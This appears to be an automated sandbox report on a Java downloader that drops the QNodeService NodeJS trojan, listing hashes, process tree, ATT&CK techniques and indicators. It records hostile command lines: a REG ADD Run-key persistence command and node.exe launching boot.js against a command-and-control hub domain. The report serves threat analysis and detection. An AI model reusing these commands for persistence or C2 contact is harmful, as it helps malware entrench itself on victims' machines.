qnodeservice | c0d53af323707bf5818df93253f939833ef78097eeaa578cb80f73705b407cb2

General

Target

AWB 01117010317103.jar
Size

218KB
MD5

8d83ca55cf05f7a375eb1d2a7487924e
SHA1

bf7e3dc0fcf4d58fce1732c880fab9075428174d
SHA256

c0d53af323707bf5818df93253f939833ef78097eeaa578cb80f73705b407cb2
SHA512

9b216c60dfac1c941db4f0f44ada78f53db9099962877793786c9696f0461935284162eeea3e18b4c1ef0c2fc12a49c0667b72f8ac88dcbb52c02deb48327950

Score

10^/10

trojan qnodeservice persistence

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
2644	node.exe
1276	node.exe
2080	node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000\Software\Microsoft\Windows\CurrentVersion\Run\0908579d-eabd-4e85-afce-c54ae064f87b = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ad45-162.dat	js
behavioral2/files/0x000100000001ad45-166.dat	js
behavioral2/files/0x000100000001ad45-170.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
19	wtfismyip.com
20	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
2644	node.exe
2644	node.exe
2644	node.exe
2644	node.exe
1276	node.exe
1276	node.exe
1276	node.exe
1276	node.exe
2080	node.exe
2080	node.exe
2080	node.exe
2080	node.exe
2080	node.exe
2080	node.exe
2080	node.exe
2080	node.exe
2080	node.exe
2080	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 732 wrote to memory of 576	732	java.exe	74
PID 732 wrote to memory of 576	732	java.exe	74
PID 576 wrote to memory of 2644	576	javaw.exe	78
PID 576 wrote to memory of 2644	576	javaw.exe	78
PID 2644 wrote to memory of 1276	2644	node.exe	80
PID 2644 wrote to memory of 1276	2644	node.exe	80
PID 1276 wrote to memory of 2080	1276	node.exe	81
PID 1276 wrote to memory of 2080	1276	node.exe	81
PID 2080 wrote to memory of 4008	2080	node.exe	83
PID 2080 wrote to memory of 4008	2080	node.exe	83
PID 4008 wrote to memory of 3132	4008	cmd.exe	84
PID 4008 wrote to memory of 3132	4008	cmd.exe	84

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar "C:\Users\Admin\AppData\Local\Temp\AWB 01117010317103.jar"
1⤵
- Suspicious use of WriteProcessMemory
PID:732
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\64644412.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:576
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain jahbless.hopto.org --hub-domain localhost
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:2644
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_F2qfCb\boot.js --hub-domain jahbless.hopto.org --hub-domain localhost
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:1276
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_F2qfCb\boot.js --hub-domain jahbless.hopto.org --hub-domain localhost
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:2080
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "0908579d-eabd-4e85-afce-c54ae064f87b" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:4008
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "0908579d-eabd-4e85-afce-c54ae064f87b" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:3132

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1276-167-0x000001A8BB840000-0x000001A8BB841000-memory.dmp

Filesize
4KB

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memory/2080-171-0x0000036DD64C0000-0x0000036DD64C1000-memory.dmp

Filesize
4KB

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memory/2644-164-0x000001EA810C0000-0x000001EA810C1000-memory.dmp

Filesize
4KB

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